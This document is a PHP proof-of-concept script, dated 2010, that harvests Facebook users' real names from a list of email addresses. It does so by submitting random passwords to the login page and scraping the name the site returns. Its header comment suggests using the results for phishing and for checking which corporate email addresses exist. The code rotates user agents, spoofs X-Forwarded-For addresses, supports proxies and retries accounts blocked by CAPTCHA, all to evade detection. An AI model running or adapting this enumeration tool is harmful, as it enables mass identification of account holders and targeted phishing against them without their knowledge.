<?php

/***************************************************************
Atul Agarwal (atul@secfence.com)
Secfence Technologies,
www.secfence.com
Date: Aug 11th, 2010


Description:
This script extracts the First and Last Name (provided by the users when they sign up for Facebook). Facebook is kind enough to return the name even if the supplied email/password combination is wrong. Further more,it also gives out the profile picture. Facebook users have no controlover this, as this works even when you have set all privacy settings properly. Harvesting this data is very easy. Though it sometimes gives captchas, but they can be easily bypassed by using a bunch of proxies.

As Facebook is so popular, some implications - 

1) Someone has a list of email address that he has no clue about. He can feed them to facebook one by one (or in a list, using a script like this) and chances are that he'll get more than 50% hits. Useful for phishing attacks (People will get more convinced when they see their *real* names).

2) One can generate random email addresses, and *verify* their existence. Hint: You can generate emails using (common names + a corporate domain), and check them against Facebook. Might come handy in a Pentest.

etc.

***************************************************************/

set_time_limit(0); 

if($argc !== 3)
{
	print "*****************************************************\n";
	print "* Facebook name extract POC, by atul@secfence.com   *\n";
	print "* Usage : fbextract.php target_list output_file     *\n";
	print "* Check the script for more details, such as random *\n";
	print "* name generation and proxy settings                *\n";
	print "*****************************************************\n";
	exit;
}

print "*****************************************************\n";
print "* Facebook name extract POC, by atul@secfence.com   *\n";
print "* Check the script for more details, such as random *\n";
print "* name generation and proxy settings                *\n";
print "*****************************************************\n";

$tlist = $argv[1];
$ofile = $argv[2];

if(!file_exists($tlist))
{
	print "\n\nInvalid target list. Please check";
	exit;
}

if(file_exists($ofile))
{
	print "\n\nOutput file already exists. Will be overwritten.\n";
}

//load list

$list = @explode("\n",file_get_contents($tlist));

if(count($list)<1)
{
	print "\n\nThe script requires the target emails in target list to be separated by a newline. Please check";
	exit;
}



print "\n\nLoaded " . count($list) . " targets. Starting .. \n\n\n";

/*Random name generation idea. Uncomment and play with it.

for($a=19750;$a<2010;$a++)
{	
	$user = "rahul$a@gmail.com";
	$pass = rand(1000000,9999999); //random p/w generation
	$name = fblogin($user,$pass);
	
	if($name == "CAPTCHA")
	{	
		$captchausers[] = $user;
	}
	else
	{	
		print "$user, $pass, $name\n";
		$result .= "$user, $pass, $name\n";
		flush();
	}
	//sleep(1); //set if time interval b/w logins is needed.
}

if(count($captchausers)>0)
{
	print "\n\nProcessing Captcha users again..\n";

	foreach($captchausers as $v)
	{
		$user = $v;
		$pass = rand(1000000,9999999);
		$name = fblogin($user,$pass);
		print "$user, $pass, $name\n";
		$result .= "$user, $pass, $name\n";

	}
}

*/

foreach($list as $vic)
{	

	$user = trim($vic);
	$pass = rand(1000000,9999999); //random p/w generation
	$name = fblogin($user,$pass);
		
	if($name == "CAPTCHA")
	{	
		$captchausers[] = $user;
	}
	else
	{	
		print "$user, $pass, $name\n";
		$result .= "$user, $pass, $name\n";
		flush();
	}
	//sleep(1); //set if time interval b/w logins is needed.
}

if(count($captchausers)>0)
{
	print "\n\nProcessing Captcha users again..\n";

	foreach($captchausers as $v)
	{
		$user = $v;
		$pass = rand(1000000,9999999);
		$name = fblogin($user,$pass);
		print "$user, $pass, $name\n";
		$result .= "$user, $pass, $name\n";

	}
}

//save output

$fh = @fopen($ofile,"w");
if($fh)
{
	fwrite($fh,$result);
	fclose($fh);
	print "\n\nOutput succesfuly stored in $ofile\n\n";
}
else
{
	print "\n\nError in file writing. Please check permissions.\n\n";
}



//functions 

function fblogin($login,$password)
{
	static $newlink;
	
	$useragent = getuseragent();
	
	$proxy = getProxy();
	$proxy = explode(":",$proxy);
	
	$xffip = getxffip();
	

	if($newlink)
	{
		$url = $newlink;
	}
	else
	{
		$url = "https://login.facebook.com/login.php";
	}
	
	#initialize the curl session
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_URL,$url);
	curl_setopt($ch, CURLOPT_HTTPGET, TRUE);
	curl_setopt($ch, CURLOPT_REFERER, "");
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
	curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
	curl_setopt($ch, CURLOPT_COOKIESESSION, 1);
	curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookiefile.txt');
	curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookiefile.txt'); 
	curl_setopt($ch, CURLOPT_HTTPHEADER, array("X-Forwarded-For: $xffip"));
	//curl_setopt($ch, CURLOPT_PROXY, $proxy[0]); //uncomment for proxy
	//curl_setopt($ch, CURLOPT_PROXYPORT, $proxy[1]); //uncomment for proxy
	//curl_setopt($ch, CURLOPT_PROXYUSERPWD, "$proxy[2]:$proxy[3]");  //uncomment for proxy
	//curl_setopt($ch, CURLOPT_VERBOSE, true);  //uncomment for debugging
	$html = curl_exec($ch);

	$matches = array();
	$actionarr = array();


	preg_match_all('/<input type="hidden"[^>]*name\="([^"]+)"[^>]*value\="([^"]*)"[^>]*>/si', $html, $matches);
	$values = $matches[2];
	$params = "";

	$i=0;
	foreach ($matches[1] as $name)
	{
	  $params .= "$name=" . urlencode($values[$i]) . "&";
	  ++$i;
	}

	$login = urlencode($login);
	$password = urlencode($password);

	$action = $url;

	curl_setopt($ch, CURLOPT_URL,$action);
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
	curl_setopt($ch, CURLOPT_POST, 1);
	curl_setopt($ch, CURLOPT_COOKIESESSION, 1);
	curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
	curl_setopt($ch, CURLOPT_POSTFIELDS, $params ."email=$login&pass=$password");
	curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookiefile.txt');
	curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookiefile.txt'); 
	curl_setopt($ch, CURLOPT_HTTPHEADER, array("X-Forwarded-For: $xffip")); 
	//curl_setopt($ch, CURLOPT_VERBOSE, true); 
	//curl_setopt($ch, CURLOPT_PROXY, $proxy[0]); //uncomment for proxy
	//curl_setopt($ch, CURLOPT_PROXYPORT, $proxy[1]); //uncomment for proxy
	//curl_setopt($ch, CURLOPT_PROXYUSERPWD, "");  //uncomment for proxy

	$html = curl_exec($ch);

	preg_match_all('/<a href\="\/login.php\?notme_cuid\=(.*)">Not You?/i', $html, $matches);

	$newlink = "https://login.facebook.com/login.php?notme_cuid=" . $matches[1][0];
	
	if(preg_match("/Incorrect Email/i",$html))
	{
		$name = "INVALID";
	}
	elseif(preg_match("/Your account has a high number of invalid login attempts./i",$html))
	{
		$name = "CAPTCHA";
	}
	else
	{
		//quick, dirty and maybe inefficient name extraction
		/*
		$str = strstr($html, '<div class="uiTextTitle">');
		$str = strstr($str, '</div>', true);
		$name =  preg_replace('/<div class="uiTextTitle">/i', "", $str);
		*/
		
		preg_match_all('/<div class\="uiTextTitle\">(.*)<\/div><div class="uiTextSubtitle"/i', $html, $matches);

		$name = $matches[1][0];
		
	}
	
	if($name=="")
	{
		//something wierd happened.
		//print $html;
	}
	
	curl_close($ch);
	
	return $name;
	
	//print "<hr>" . $url . "<hr>";
	//print "<hr>" . $newlink . "<hr>";
	//print "<hr>" . print_r($matches) . "<hr>";

	//exit;
}

function getxffip()
{
	//Makes it appear to facebook as if request is coming from India.. So will show English Language by default
	//Its important as the HTML parsing (to extract names) is based on English language
	//If you use proxy, or are based in a location which indicates facebook to display anything other than English,
	//this would come handy.
	
	return "122" . "." . "163" . "." . rand(2,254) . "." . rand(2,254);

}


function getuseragent()
{

	//gives back new useragent everytime
	$useragent[] = "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3";
	$useragent[] = "Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.2.3) Gecko/20100403 Fedora/3.6.3-4.fc13 Firefox/3.6.3";
	$useragent[] = "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3) Gecko/20100403 Firefox/3.6.3";
	$useragent[] = "Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.2.3) Gecko/20100401 SUSE/3.6.3-1.1 Firefox/3.6.3";
	$useragent[] = "Mozilla/5.0 (X11; U; Linux i686; ko-KR; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3";
	$useragent[] = "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.3) Gecko/20100404 Ubuntu/10.04 (lucid) Firefox/3.6.3";
	$useragent[] = "Mozilla/5.0 (X11; U; Linux i686; de; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3";
	$useragent[] = "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_0; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4";
	$useragent[] = "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_5_6; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.99 Safari/533.4";

	return trim($useragent[rand(0,count($useragent)- 1)]);
}

function getProxy()
{
	//add proxies in IP:PORT:USER:PASSWORD format
	//I know its sloppy, what if a password contains a ":" character? figure out!
	$proxy[] = "IP:PORT:USER:PASSWORD"; 
	return trim($proxy[rand(0,count($proxy)- 1)]);
}

?>